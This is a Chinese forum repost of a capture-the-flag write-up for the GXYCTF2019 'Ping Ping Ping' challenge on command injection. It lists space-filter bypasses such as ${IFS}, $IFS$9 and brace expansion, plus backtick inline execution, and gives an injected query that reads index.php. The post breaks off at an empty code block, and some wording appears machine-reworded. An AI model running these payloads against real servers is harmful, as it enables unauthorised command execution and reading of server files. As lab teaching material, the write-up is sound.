ToB企服应用市场:ToB评测及商务社交产业平台

标题: [GXYCTF2019]Ping Ping Ping [打印本页]

作者: 拉不拉稀肚拉稀    时间: 2024-7-16 20:59
标题: [GXYCTF2019]Ping Ping Ping
[GXYCTF2019]Ping Ping Ping    (命令执行绕过总结)

题目泉源

收录于:BUUCTF  GXYCTF2019
题目描述


提示较为明确,get方法传参127.0.0.1后效果如下

比力容易想到联合执行命令,先看有哪些文件

尝试直接读取flag.php

读取失败,对空格进行了过滤。
题解

以下内容参考文章:https://blog.csdn.net/vanarrow/article/details/108295481
对空格的绕过比力简单,在kali默认的shell中验证后得出,绕过可用以下方式
  1. ${IFS}
  2. ${IFS}$9        //这里$1到$9都可以
  3. $IFS$1          //这里$1到$9都可以
  4. <
  5. <>
  6. {cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
  7. %20   (space)       //在shell中无法直接使用%20代替空格,但是在URL编码中可以尝试,tab同理
  8. %09   (tab)
  9. X=$'cat\x09./flag.php';$X       // \x09表示tab,也可以用\x20
  10. X='cat\x09./flag.php';$X      
复制代码
内联执行:将反引号内命令的返回值(即输出值)作为整条命令的输入值
比方当命令为:
  1. cat `ls`
复制代码
即cat读取当前目录下的全部文件

因此可以使用上面的绕过方法配合内联执行,比方:
  1. cat$IFS`ls`
  2. cat$IFS$9`ls`
复制代码
先读取一下index.php的源码
  1. ?ip=127.0.0.1;cat$IFS$9index.php
复制代码

美化后代码如下
[code]




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4